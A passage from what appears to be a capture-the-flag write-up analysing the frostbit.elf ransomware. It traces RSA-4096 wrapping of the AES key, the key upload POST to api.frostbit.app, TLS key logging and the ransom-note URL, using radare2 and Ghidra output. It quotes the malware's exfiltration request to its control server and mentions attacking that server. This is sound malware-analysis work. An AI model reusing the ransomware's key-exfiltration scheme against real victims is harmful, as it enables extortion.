Potential key: 0x4f43e8 66666666666666666666666666666666tp
Potential key: 0x4f4528 66666666666666666666666666666666A
Potential key: 0x4f45a8 66666666666666666666666666666666
Potential key: 0x4f4668 66666666666666666666666666666666
Potential key: 0x4f4728 66666666666666666666666666666666
Potential key: 0x4f47a8 66666666666666666666666666666666
Potential key: 0x4f4828 66666666666666666666666666666666
Potential key: 0x4f48e8 66666666666666666666666666666666
Potential key: 0x4f4967 e66666666666666666666666666666666bi/
Potential key: 0x4f49e8 66666666666666666666666666666666
Potential key: 0x4f4aa8 66666666666666666666666666666666
Potential key: 0x4f4b28 66666666666666666666666666666666
Potential key: 0x51bd9f 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'}
Potential key: 0x51cd9a 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'}
Potential key: 0x541cd3 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'}
Potential key: 0x54a140 af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x54a160 563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x54a180 9eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x5d3ce8 19e000902a849d0a1c8619804190806e/usr/local/sbin/xdg-open

The remaining candidates were manually filtered further with the following categories of results:

  1. The hex string is a substring of encrypted-key-from-pcap.json. For example:

    Potential key: 0x3301a0 dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
  2. The hex string contains multiple substrings of encrypted-key-from-pcap.json, strung together. For example, the following contains a concatenation of 9babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728 and 5b8546280e8783997c05f3de970d425, which are both substrings of encrypted-key-from-pcap.json:

    Potential key: 0x438498 9babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f436627285b8546280e8783997c05f3de970d425
  3. The hex string is a low entropy hex string which cannot be the encryption key, as we know the encryption key is generated by crypto/rand.Read. For example:

    Potential key: 0x2ab1f1 0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@
    ...
    Potential key: 0x4f3ee8 666666666666666666666666666666663zI
  4. The hex string contains the digest 19e000902a849d0a1c8619804190806e from DoNotAlterOrDeleteMe.frostbit.json. For example:

    Potential key: 0x51bd9f 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'}
    ...
    Potential key: 0x5d3ce8 19e000902a849d0a1c8619804190806e/usr/local/sbin/xdg-open

After filtering the remaining candidates based on the above categories, no candidates were left, indicating the core dump does not contain the AES-256 encryption key.

10.6 RSA 4096 encryption

frostbit.elf encrypts the AES-256 encryption key using the RSA public key of api.frostbit.app before uploading it to api.frostbit.app. The process is as follows.

A breakpoint was set at 0x006a2ad9, just before sym.crypto_rsa.EncryptPKCS1v15 is called:

[0x006a2ad9]> pd -11 @ rip +1
│           0x006a2aa9      488b15e0ca..   mov rdx, qword [obj.crypto_rand.Reader] ; [0x98f590:8]=0x7ad6c0 rdx ; int64_t arg4
│           0x006a2ab0      4c8b15e1ca..   mov r10, qword [0x0098f598] ; [0x98f598:8]=0xc000034040 r10
│           0x006a2ab7      4885c0         test rax, rax
│           0x006a2aba      488d3dbfe8..   lea rdi, obj.runtime.ebss   ; obj.internal_godebug.stderr
│                                                                      ; 0x9b1380
│           0x006a2ac1      480f45f8       cmovne rdi, rax             ; int64_t arg1
│           0x006a2ac5      4889d0         mov rax, rdx
│           0x006a2ac8      488b8c2430..   mov rcx, qword [arg_230h]
│           0x006a2ad0      4889de         mov rsi, rbx                ; int64_t arg2
│           0x006a2ad3      4989f0         mov r8, rsi
│           0x006a2ad6      4c89d3         mov rbx, r10
│           ;-- rip:
│           0x006a2ad9 b    e8a2ffe5ff     call sym.crypto_rsa.EncryptPKCS1v15

RDI, RSI and R8 represent the slice to be encrypted, which consists of the AES-256 encryption key and nonce, separated by a comma:

; slice length
[0x006a2ad9]> dr rsi
0x00000031

; slice capacity
[0x006a2ad9]> dr r8
0x00000031

; slice data
[0x006a2ad9]> ps 0x31 @ rdi
ba4cd0e4516ba0d4f1d0f63a07964f91,5ba74ec61797f538

RCX contains the public encryption key. Ghidra handily shows the structure of this type:

Ghidra - structure of the crypto/rsa.PublicKey type

Examination in radare2 indicates the exponent E is the common value, 65537, and the address of the modulus N is 0x000000c000034ac0:

[0x006a2ad9]> x 16 @ rcx
- offset -    F0F1 F2F3 F4F5 F6F7 F8F9 FAFB FCFD FEFF  0123456789ABCDEF
0xc0000164f0  c04a 0300 c000 0000 0100 0100 0000 0000  .J..............

; Exponent of 65537
[0x006a2ad9]> pf q @ rcx + 8
0xc0000164f8 = (qword)0x0000000000010001
[0x006a2ad9]> pf i @ rcx + 8
0xc0000164f8 = 65537

; Modulus address
[0x006a2ad9]> pf p @ rcx
0xc0000164f0 = (qword)0x000000c000034ac0

The structure of math/big.Int and math/big.nat are as follows:

Ghidra - structure of the math/big.Int type
Ghidra - structure of the math/big.nat type

radare2 shows that neg in the first 8 bytes of the modulus is false:

; Modulus has a type of math/big.Int consisting of an 8 byte neg field, followed by 24 bytes of
; type math/big.nat
[0x006a2ad9]> x 32 @ 0x000000c000034ac0
- offset -    C0C1 C2C3 C4C5 C6C7 C8C9 CACB CCCD CECF  0123456789ABCDEF
0xc000034ac0  0000 0000 0000 0000 4062 2000 c000 0000  ........@b .....
0xc000034ad0  4000 0000 0000 0000 4500 0000 0000 0000  @.......E.......

Examining the abs fields, the slice’s array is located at 0x000000c000206240 and has a length of 64. Since big.Word is a type alias for uint and the latter is 64 bits (8 bytes) on x86-64, the byte length of the array is 64 * 8 == 512 bytes.


; Modulus array pointer
[0x006a2ad9]> pf p @ 0x000000c000034ac0 + 8
0xc000034ac8 = (qword)0x000000c000206240

; Modulus length of 64 math/big.Word == 64 * 8 == 512 bytes
[0x006a2ad9]> pf i @ 0x000000c000034ac0 + 16
0xc000034ad0 = 64

; Modulus capacity
[0x006a2ad9]> pf i @ 0x000000c000034ac0 + 24
0xc000034ad8 = 69

The modulus is thus:

; 512 byte modulus value
[0x006a2ad9]> x 512 @ 0x000000c000206240
- offset -    4041 4243 4445 4647 4849 4A4B 4C4D 4E4F  0123456789ABCDEF
0xc000206240  afef ef77 37ad 587f 258a c6da 5042 315f  ...w7.X.%...PB1_
0xc000206250  1f17 5a41 e12d 916f 34fd 4169 0007 69b9  ..ZA.-.o4.Ai..i.
0xc000206260  5941 372b abe6 393e eb3f 7709 6018 1290  YA7+..9>.?w.`...
0xc000206270  a473 eae4 2380 a1e4 966c 907f 9eb9 2a9b  .s..#....l....*.
0xc000206280  9e33 5b91 2470 d024 40e3 d447 fc7c da67  .3[.$p.$@..G.|.g
0xc000206290  fea9 55d5 4460 c826 c2e0 4db6 e1d1 affd  ..U.D`.&..M.....
0xc0002062a0  5b3c c692 cb73 fd6e d5a4 a9ba 8b57 f770  [<...s.n.....W.p
0xc0002062b0  d018 fe11 182c 99c0 56b4 4419 923f 912f  .....,..V.D..?./
0xc0002062c0  b9ad 3c36 2647 a0e3 0727 2c26 fe83 c749  ..<6&G...',&...I
0xc0002062d0  adfc 7a90 adbd 8132 3705 ab1b d8f3 303c  ..z....27.....0<
0xc0002062e0  71ca 21b4 3b22 bb18 1e69 c287 e997 500f  q.!.;"...i....P.
0xc0002062f0  6ff3 231b 1464 1f8f e3ab 4ace 7379 e5ec  o.#..d....J.sy..
0xc000206300  5902 c6ac bc5b 7741 b145 0fa8 3ae5 0c94  Y....[wA.E..:...
0xc000206310  47a8 2562 9283 dc79 9876 6349 d20e 7e0f  G.%b...y.vcI..~.
0xc000206320  0e5a 984a e1d6 6142 160f 06c5 4e0d c888  .Z.J..aB....N...
0xc000206330  a600 94a8 af38 31e3 e1bf 687c 5d0a c0d5  .....81...h|]...
0xc000206340  78b2 9b2d 9689 a0c5 b1f5 178c 54fe 8552  x..-........T..R
0xc000206350  e2ce f0eb 0a3d 0ee8 18c1 dacd 375f 679b  .....=......7_g.
0xc000206360  ed98 c29e a76c 1d06 fa5f 8105 bb31 26cf  .....l..._...1&.
0xc000206370  0d0c a8bf 78b0 8b15 5ad2 87b0 4518 d870  ....x...Z...E..p
0xc000206380  a67b 1b71 dbe2 4944 8d75 0b30 a52b af20  .{.q..ID.u.0.+.
0xc000206390  ac69 a140 c418 6aa4 da4e 2294 855f 1ae3  .i.@..j..N".._..
0xc0002063a0  476a 93cf 9e2d 2bc3 502f 6b89 0fd7 12e4  Gj...-+.P/k.....
0xc0002063b0  221a c847 8d23 0421 854f 2c59 3e10 c87c  "..G.#.!.O,Y>..|
0xc0002063c0  b50c 3d70 f665 2b05 94bd 8887 e33f 90f9  ..=p.e+......?..
0xc0002063d0  36db 3005 20d7 5638 741f 7b3c b151 fb47  6.0. .V8t.{<.Q.G
0xc0002063e0  7322 1cfa e40a de0b 6d90 ff94 961e af23  s"......m......#
0xc0002063f0  40f9 b968 af55 1243 c003 ad6d 0579 2508  @..h.U.C...m.y%.
0xc000206400  5807 d5d2 2fa3 8eea d04c b715 f612 4666  X.../....L....Ff
0xc000206410  f9cf c2f5 33e1 49b9 b871 b62c 3952 fe8e  ....3.I..q.,9R..
0xc000206420  3fc9 cbab 9a47 2fcb 34c1 bd0a 34fa 4eb7  ?....G/.4...4.N.
0xc000206430  57b1 af05 7d60 ec8f 3424 efc0 6cd7 f4cb  W...}`..4$..l...

The modulus was extracted into rsa-modulus-radare2.txt, fixing the endianness by reversing the value:

[0x006a2ad9]> p8 512 @ 0x000000c000206240 | sed -Ee 's/../\0\n/g'|tac|tr -d '\n' > rsa-modulus-radare2.txt

The modulus of the replay server public key was extracted into rsa-modulus-openssl.txt:

openssl x509 -in server.crt -text -noout|sed -nEe '/Modulus/,/Exponent/ p' | sed -e '1d; $d'|tr -d " \n:"|sed -e 's/^00//' > rsa-modulus-openssl.txt

The two moduli were found to be equal:

└─$ cat rsa-modulus-radare2.txt
cbf4d76cc0ef24348fec607d05afb157b74efa340abdc134cb2f479aabcbc93f8efe52392cb671b8b949e133f5c2cff9664612f615b74cd0ea8ea32fd2d50758082579056dad03c0431255af68b9f94023af1e9694ff906d0bde0ae4fa1c227347fb51b13c7b1f743856d7200530db36f9903fe38788bd94052b65f6703d0cb57cc8103e592c4f852104238d47c81a22e412d70f896b2f50c32b2d9ecf936a47e31a5f8594224edaa46a18c440a169ac20af2ba5300b758d4449e2db711b7ba670d81845b087d25a158bb078bfa80c0dcf2631bb05815ffa061d6ca79ec298ed9b675f37cddac118e80e3d0aebf0cee25285fe548c17f5b1c5a089962d9bb278d5c00a5d7c68bfe1e33138afa89400a688c80d4ec5060f164261d6e14a985a0e0f7e0ed24963769879dc83926225a847940ce53aa80f45b141775bbcacc60259ece57973ce4aabe38f1f64141b23f36f0f5097e987c2691e18bb223bb421ca713c30f3d81bab05373281bdad907afcad49c783fe262c2707e3a04726363cadb92f913f921944b456c0992c1811fe18d070f7578bbaa9a4d56efd73cb92c63c5bfdafd1e1b64de0c226c86044d555a9fe67da7cfc47d4e34024d07024915b339e9b2ab99e7f906c96e4a18023e4ea73a49012186009773feb3e39e6ab2b374159b96907006941fd346f912de1415a171f5f314250dac68a257f58ad3777efefaf

└─$ cat rsa-modulus-openssl.txt
cbf4d76cc0ef24348fec607d05afb157b74efa340abdc134cb2f479aabcbc93f8efe52392cb671b8b949e133f5c2cff9664612f615b74cd0ea8ea32fd2d50758082579056dad03c0431255af68b9f94023af1e9694ff906d0bde0ae4fa1c227347fb51b13c7b1f743856d7200530db36f9903fe38788bd94052b65f6703d0cb57cc8103e592c4f852104238d47c81a22e412d70f896b2f50c32b2d9ecf936a47e31a5f8594224edaa46a18c440a169ac20af2ba5300b758d4449e2db711b7ba670d81845b087d25a158bb078bfa80c0dcf2631bb05815ffa061d6ca79ec298ed9b675f37cddac118e80e3d0aebf0cee25285fe548c17f5b1c5a089962d9bb278d5c00a5d7c68bfe1e33138afa89400a688c80d4ec5060f164261d6e14a985a0e0f7e0ed24963769879dc83926225a847940ce53aa80f45b141775bbcacc60259ece57973ce4aabe38f1f64141b23f36f0f5097e987c2691e18bb223bb421ca713c30f3d81bab05373281bdad907afcad49c783fe262c2707e3a04726363cadb92f913f921944b456c0992c1811fe18d070f7578bbaa9a4d56efd73cb92c63c5bfdafd1e1b64de0c226c86044d555a9fe67da7cfc47d4e34024d07024915b339e9b2ab99e7f906c96e4a18023e4ea73a49012186009773feb3e39e6ab2b374159b96907006941fd346f912de1415a171f5f314250dac68a257f58ad3777efefaf

└─$ cmp rsa-modulus-radare2.txt rsa-modulus-openssl.txt

main.runit POSTs the encryptedkey to api.frostbit.app:

[0x006a3298]> pdb
│           ; CODE XREF from sym.main.runit @ 0x6a326b(x)
│           0x006a3284      488908         mov qword [rax], rcx
│           0x006a3287      90             nop
│           0x006a3288      488b842490..   mov rax, qword [rsp + 0x290]
│           0x006a3290      488b9c2408..   mov rbx, qword [rsp + 0x208]
│           0x006a3298      e8e3e3f9ff     call sym.net_http._Client_.do
│           0x006a329d      0f1f00         nop dword [rax]
│           0x006a32a0      4885db         test rbx, rbx
│       ┌─< 0x006a32a3      0f859e000000   jne 0x6a3347

After executing the instruction at 0x006a3298, the following POST was observed via the socat logging, albeit the following is the cleaned up version to remove socat metadata and carriage return escapes:

POST /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip

{"encryptedkey":"6dad38296f1f438a515573938109f3e55ed1d8bec32cf01a37077fabe9d5ab1024ce75a037d3d85cde5c2384826a7220805ec74e2dcea92ea85af38b358e0e2f048c6cbbf1b40d9a0d668bb3c5241bf43af935b42da3f3c0912eca6d6df8d1095cf18f8e7e9e4d2f7e5bb0e6dbc1e91e94f7d7f5a7b93b6a977654624c9d54f7758ada7c3cf7d56e6b5e1fa4ff4f34eb9076f3617e34c2221910f24184955bc05d47fa24dfa4901505a1d7cb022369f6dd15a7900195e15b356081a6cf16a1741d2e1e8745c65013211afff1f24e49c5d19dfba33c35c3ea2b949f5fc6d88dec49e5944baf5f2898588641ce2c70567758b0aece6b5a2b2527933ef960a528dab325243e5665c4324d5dd9bbb38cafaf56ffe81e7a7e053db60fd7cb515cef9111f924d490218d5c5c365a3ebea44e56ef78a9ed422f5f398ce9160968d0a771e0b1d7d97b8202a71986dc7c35b640f74d67dac29e67d76ba66b12eb507875bc45ffcf3216f3f893036962ae5684eac74aa74c5ccc356c1abf384d99a98fc2c2d06ffbfd197c1d13d9611a48e64ef687dbdea05af7092a510e14d2584cf2c168e548f4325fe54b95ad187eef253c338155c904c7e478773dfbccca538b4c57753c0e199a28eff26e4848cc264d9f7eb625437aeb086042fc2d7bbd632900f1103afd9858b21ac3abc20860bb037064bcbcbdae1d2be619ea0060c5ddac05781c","nonce":"5ba74ec61797f538"}

The encrypted key value was placed into encrypted-key.txt and confirmed to be decryptable by the replay server’s private RSA key:

└─$ openssl pkeyutl -decrypt -inkey ../../socat/private.pem -in <(cat encrypted-key.txt|xxd -p -r)
Enter pass phrase for ../../socat/private.pem:
ba4cd0e4516ba0d4f1d0f63a07964f91,5ba74ec61797f538

10.7 RSA 4096 - Checking the api.frostbit.app public key

The public key of the real https://api.frostbit.app endpoint was confirmed to also be an RSA 4096 bit key. It was thus expected that the uploaded value could not be decrypted without obtaining the corresponding private key.

└─$ echo "Q" | openssl s_client -connect api.frostbit.app:443 2>/dev/null| sed -n '/BEGIN CERTIFICATE/,/END CERTIFICATE/p' | tee api.frostbit.app-cert.pem | openssl x509  -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            04:dc:6a:8b:1d:ec:f5:24:c4:79:90:f1:11:ad:92:d8:59:d6
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let's Encrypt, CN=R10
        Validity
            Not Before: Nov 15 19:17:42 2024 GMT
            Not After : Feb 13 19:17:41 2025 GMT
        Subject: CN=api.frostbit.app
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (4096 bit)
                Modulus:
                    00:a6:58:39:78:a0:ef:93:d7:fe:82:c5:96:65:4b:
                    69:16:bf:34:a2:34:d9:69:b9:b8:46:dc:b4:2e:8a:
                    f0:b6:ae:55:25:dd:fb:f0:68:00:9b:0c:48:16:87:
                    5d:b9:d3:fe:c4:c3:73:f6:ee:65:44:51:31:a8:35:
                    a8:2b:64:f1:29:bc:a2:19:33:8a:57:d2:25:a5:95:
                    0b:17:27:d5:f7:ff:e2:f2:fa:b8:7b:0e:c7:f5:3b:
                    3b:76:e3:61:e2:07:87:37:2b:1f:5a:a7:6b:55:e6:
                    d3:45:9e:80:78:20:1e:27:67:19:b9:53:f8:6e:b8:
                    9a:8b:45:c3:ab:62:94:77:fb:1c:ee:48:10:c5:71:
                    a0:c3:4b:7f:16:a8:83:82:5a:52:17:53:c5:c4:fb:
                    d4:cc:9c:1c:24:d4:21:21:84:02:c5:10:b0:1e:41:
                    ea:55:29:d3:a1:97:27:8c:98:e1:81:5c:97:b1:33:
                    72:e6:93:8b:05:6a:a0:e6:74:a7:5e:bc:25:f0:97:
                    c6:91:41:cd:fd:3c:1b:6f:cd:bd:ac:83:13:e7:9d:
                    19:c4:ef:0a:60:7e:2a:fe:45:77:73:05:5c:49:87:
                    c4:62:f3:09:26:87:90:14:28:07:8a:e2:f9:12:ec:
                    40:51:b3:ba:29:98:13:9d:15:a1:59:09:a8:b5:34:
                    1b:f9:f0:a3:f2:c8:a5:8e:0f:1d:21:dc:31:07:af:
                    74:2e:f6:58:a6:fb:f8:c8:f2:d8:82:a0:9f:f4:fc:
                    f3:82:b6:4f:be:52:7e:5e:42:27:27:7b:3f:f8:33:
                    8b:d1:56:c2:81:31:cf:d2:06:e9:3b:b9:1d:8e:24:
                    ce:05:2d:49:a7:e1:6d:6c:21:be:ea:89:af:c1:28:
                    3f:70:42:cd:9e:c0:c2:b3:a1:75:c7:7d:e2:47:bb:
                    6e:99:e4:32:4b:03:4f:58:d1:ad:ea:93:87:9b:21:
                    9f:1d:82:f6:47:18:63:e5:2e:67:09:7a:b1:18:2c:
                    76:ab:69:87:f2:5e:00:2f:96:db:cd:55:71:10:46:
                    be:f8:58:27:77:da:f6:e1:24:82:dd:bb:e5:35:54:
                    f4:08:37:c1:76:82:b3:4e:e3:bc:44:e3:41:e1:62:
                    8d:91:ba:8d:8f:e3:04:f0:90:c7:50:0d:fd:95:df:
                    f2:a8:85:62:1a:38:c0:11:1f:cd:4e:2b:21:93:9c:
                    e4:d3:8d:7d:02:24:29:1d:f3:94:9c:23:71:ab:5e:
                    cd:64:fe:4a:80:bc:71:ef:1a:d3:68:b7:4f:9b:45:
                    fd:68:c3:9c:aa:e2:0f:7a:78:eb:c1:97:c8:56:9c:
                    aa:66:85:27:fc:3d:33:8a:7a:0d:22:7a:24:f0:21:
                    5d:6c:3f
                Exponent: 65537 (0x10001)

10.8 RSA 4096 - Confirming the origins of the public key

The public key was confirmed to be obtained from api.frostbit.app. This would seem obvious given the replay server uses a public key unknown to the ransomware creator but the following also demonstrates at which point the public key is sourced from api.frostbit.app.

A breakpoint was set at 0x006a181a, just before the first HTTP request issued from main.GetNonce:

; breakpoint just before the first HTTP request in main.GetNonce
[0x006a181a]> pd--3
│           0x006a180c      4889d9         mov rcx, rbx                ; int64_t arg_18h
│           0x006a180f      4889c3         mov rbx, rax
│           0x006a1812      488b842490..   mov rax, qword [arg_190h]
│           ;-- rip:
│           0x006a181a b    e8e1fcf9ff     call sym.net_http._Client_.Get
│           0x006a181f      90             nop
│           0x006a1820      4885db         test rbx, rbx

All memory maps/segments were searched for the public modulus, bearing in mind this is still the modulus used by the python replay endpoint, not the real api.frostbit.app. The modulus was not found. As the modulus is shared between the public and private keys, this also means the private key is not in memory either, as would be expected:

; Search all maps/segments for public key modulus - nothing found
[0x006a181a]> e search.in=dbg.maps
[0x006a181a]> /x afefef7737ad587f

The HTTP request was executed:

; Step over
[0x006a181a]> dso
INFO: hit breakpoint at: 0x6a181f

[0x006a181f]> pd--3
│           0x006a180f      4889c3         mov rbx, rax
│           0x006a1812      488b842490..   mov rax, qword [arg_190h]
│           0x006a181a b    e8e1fcf9ff     call sym.net_http._Client_.Get
│           ;-- rip:
│           0x006a181f      90             nop
│           0x006a1820      4885db         test rbx, rbx
│       ┌─< 0x006a1823      0f85ac000000   jne 0x6a18d5

The memory maps/segments were searched again, this time finding the modulus at two addresses. As the HTTP request is executed by a standard Go function, it is reasonable to expect the modulus corresponds to only the public RSA key and the private key is unavailable:

; Search all maps/segments for public key modulus - public key modulus now found
[0x006a181f]> /x afefef7737ad587f
0xc0001c2240 hit0_0 afefef7737ad587f
0xc0001c8400 hit0_1 afefef7737ad587f

A breakpoint was then set before sym.crypto_rsa.EncryptPKCS1v15 is called:

[0x006a181f]> db 0x006a2ad9

[0x006a181f]> dc
INFO: hit breakpoint at: 0x6a2ad9

[0x006a2ad9]> pd--3
│           0x006a2ad0      4889de         mov rsi, rbx                ; int64_t arg2
│           0x006a2ad3      4989f0         mov r8, rsi
│           0x006a2ad6      4c89d3         mov rbx, r10
│           ;-- rip:
│           0x006a2ad9 b    e8a2ffe5ff     call sym.crypto_rsa.EncryptPKCS1v15
│           0x006a2ade      6690           nop
│           0x006a2ae0      4885ff         test rdi, rdi

The modulus of the public key was located and found to be located at 0xc0001c2240, which was one of the addresses found above:

[0x006a2ad9]> x 16 @ rcx
- offset -    A0A1 A2A3 A4A5 A6A7 A8A9 AAAB ACAD AEAF  0123456789ABCDEF
0xc00009e4a0  802a 0c00 c000 0000 0100 0100 0000 0000  .*..............

[0x006a2ad9]> pf p @ rcx
0xc00009e4a0 = (qword)0x000000c0000c2a80

[0x006a2ad9]> pf p @ 0x000000c0000c2a80 + 8
0xc0000c2a88 = (qword)0x000000c0001c2240

[0x006a2ad9]> x 32 @ 0x000000c0001c2240
- offset -    4041 4243 4445 4647 4849 4A4B 4C4D 4E4F  0123456789ABCDEF
0xc0001c2240  afef ef77 37ad 587f 258a c6da 5042 315f  ...w7.X.%...PB1_
0xc0001c2250  1f17 5a41 e12d 916f 34fd 4169 0007 69b9  ..ZA.-.o4.Ai..i.

For good measure, frostbit.elf can also be searched for the real api.frostbit.app modulus, finding no results in either endianness, as expected:

└─$ rafind2 -x a6583978a0 frostbit.elf
└─$ rafind2 -x a0783958a6 frostbit.elf

10.9 Unfinished business - why were the TLS secrets in the core dump?

Prior to the first HTTP request, main.runit configures tls.Config with a KeyLogWriter. The relevant assembly is as follows:

[0x006a25fd]> pd 7
│           0x006a25fd      488d051cf0..   lea rax, [0x00721620]
│           0x006a2604      e877c6d6ff     call sym.runtime.newobject
│           0x006a2609      c680a00000..   mov byte [rax + 0xa0], 1
│           0x006a2610      488d0dc9af..   lea rcx, obj.go:itab.bytes.Buffer_io.Writer ; 0x7ad5e0
│           0x006a2617      4889883801..   mov qword [rax + 0x138], rcx
│           0x006a261e      488d0d9bd8..   lea rcx, obj.main.keyLogBuffer ; 0x98fec0
│           0x006a2625      4889884001..   mov qword [rax + 0x140], rcx
[0x006a25fd]>

Determining the types constructed by runtime.newobject requires understanding Go’s type information.

At runtime, the base address of the object type information was determined:

[0x006a2604]> dm | grep obj.type| cut -d' ' -f 1
0x00000000006a5000

The address loaded into RAX before calling runtime.newobject corresponds to internal/abi.Type shown below. The 4 byte Str field at offset 0x28 is a internal.abi/NameOff, an alias to an int32 that stores the offset into the .rodata section of the binary where the name of the type can be obtained:

Ghidra - structure of the internal/abi.Type type

The constructed object was determined to be a *tls.Config:

[0x00475d80]> pf d @ 0x00721620 + 0x28
0x00721648 = 0x0000620a

[0x006a2604]> x 32 @ (0x00000000006a5000 + 0x620a)
- offset -   A B  C D  E F 1011 1213 1415 1617 1819  ABCDEF0123456789
0x006ab20a  010b 2a74 6c73 2e43 6f6e 6669 6701 0b43  ..*tls.Config..C
0x006ab21a  6572 7469 6669 6361 7465 010b 4369 7068  ertificate..Ciph

[0x00475d80]> ps 0xb @ (0x00000000006a5000 + 0x620a + 2)
*tls.Config

The tls.Config type has a KeyLogWriter field that can be used to write “TLS master secrets in NSS key log format”. The KeyLogWriter field is at offset 0x138:

Ghidra - the tls.Config type has a KeyLogWriter field at offset 0x138

Hence, the instructions between 0x006a2610 and 0x006a2625 configure the tls.Config with a writer backed by obj.main.keyLogBuffer.

Use of the keyLogBuffer was confirmed by once again setting a breakpoint at 0x006a181a, just before the first HTTP request issued from main.GetNonce:

; breakpoint just before the first HTTP request in main.GetNonce
[0x006a181a]> pd--3
│           0x006a180c      4889d9         mov rcx, rbx                ; int64_t arg_18h
│           0x006a180f      4889c3         mov rbx, rax
│           0x006a1812      488b842490..   mov rax, qword [arg_190h]
│           ;-- rip:
│           0x006a181a b    e8e1fcf9ff     call sym.net_http._Client_.Get
│           0x006a181f      90             nop
│           0x006a1820      4885db         test rbx, rbx

At this point, the keyLogBuffer was empty:

[0x006a181a]> x 32 @ obj.main.keyLogBuffer
- offset -  C0C1 C2C3 C4C5 C6C7 C8C9 CACB CCCD CECF  0123456789ABCDEF
0x0098fec0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0098fed0  0000 0000 0000 0000 0000 0000 0000 0000  ................

The HTTP request was executed, after which, the keyLogBuffer contained a pointer to the TLS master secrets:

[0x006a181a]> dso
INFO: hit breakpoint at: 0x6a181f

[0x006a181f]> pf p  @ obj.main.keyLogBuffer
0x0098fec0 = (qword)0x000000c0000f2000

[0x006a181f]> x 64 @ 0x000000c0000f2000
- offset -     0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xc0000f2000  434c 4945 4e54 5f48 414e 4453 4841 4b45  CLIENT_HANDSHAKE
0xc0000f2010  5f54 5241 4646 4943 5f53 4543 5245 5420  _TRAFFIC_SECRET
0xc0000f2020  6335 6235 3663 3239 6534 3231 6266 3439  c5b56c29e421bf49
0xc0000f2030  6331 3965 6133 3762 3134 6538 3336 6434  c19ea37b14e836d4

10.10 View ransom note URL

After encrypting naughty_nice_list.csv, frostbit.elf attempts to open the ransom note hosted at the base URL https://api.frostbit.app/view/ using the user’s preferred application. However, frostbit.elf attempts to execute /usr/local/sbin/xdg-open to do so. This path is unusual, in that the typical path is /usr/bin/xdg-open, whereas the /usr/local/sbin/ directory is typically reserved for system administration programs and not usually in a regular user’s executable search paths. The incorrect path may have been intentional to essentially de-fang the challenge, especially if a player attempts to run frostbit.elf in future after the domain has been de-registered.

main.openUrlQuietly creates a command to execute /usr/local/sbin/xdg-open which shouldn’t normally exist

The execution was confirmed in radare2 with a breakpoint at 0x006a1660, where the command execution occurs:

[0x006a1660]> pdb
│           ; CODE XREF from sym.main.openUrlQuietly @ 0x6a1632(x)
│           0x006a1651      48894868       mov qword [rax + 0x68], rcx
│           0x006a1655      48895070       mov qword [rax + 0x70], rdx
│           0x006a1659      48894878       mov qword [rax + 0x78], rcx
│           0x006a165d      0f1f00         nop dword [rax]
│           ;-- rip:
│           0x006a1660 b    e87b13feff     call sym.os_exec._Cmd_.Run
│           0x006a1665      4889442430     mov qword [arg_38h], rax
│           0x006a166a      48895c2438     mov qword [arg_138h], rbx
│           0x006a166f      c644242f00     mov byte [arg_2fh], 0
│           0x006a1674      488b9424e8..   mov rdx, qword [arg_e8h]
│           0x006a167c      488b0a         mov rcx, qword [rdx]
│           0x006a167f      90             nop
│           0x006a1680      ffd1           call rcx
│           0x006a1682      488b442430     mov rax, qword [arg_38h]
│           0x006a1687      488b5c2438     mov rbx, qword [arg_138h]
│           0x006a168c      4881c4f000..   add rsp, 0xf0
│           0x006a1693      5d             pop rbp
│           0x006a1694      c3             ret

The first argument to os/exec.Run is a pointer to an os/exec.Cmd with the following structure:

Ghidra - structure of the os/exec.Cmd type

Thus, the arguments at offset 0x10 were examined:

[0x006a1660]> pf p @ rax + 0x10
0xc000002010 = (qword)0x000000c000034140

[0x006a1660]> x 32 @ 0x000000c000034140
- offset -    4041 4243 4445 4647 4849 4A4B 4C4D 4E4F  0123456789ABCDEF
0xc000034140  73dd 7200 0000 0000 1800 0000 0000 0000  s.r.............
0xc000034150  80a0 1800 c000 0000 8000 0000 0000 0000  ................

[0x006a1660]> pf p @ 0x000000c000034140
0xc000034140 = (qword)0x000000000072dd73

[0x006a1660]> ps 0x18 @ 0x000000000072dd73
/usr/local/sbin/xdg-open

[0x006a1660]> pf p @ 0x000000c000034140 + 16
0xc000034150 = (qword)0x000000c00018a080

[0x006a1660]> ps 0x80 @ 0x000000c00018a080
https://api.frostbit.app/view/hfD1USRg9MZ1yA/50b8521f-d748-4b16-b885-0f15fdfd953c/status?digest=19e000902a849d0a1c8619804190806e

11 Completing the challenge

Completing the challenge provided closure to the reverse engineering conclusions but I have to admit I encountered difficulties in attacking api.frostbit.app without help from other players’ writeups. The Grand Prize Winner, Cody Travis devised a very elegant solution which bypassed my modular arithmetic confusion. Using their solution, the private key was trivially retrieved from api.frostbit.app:

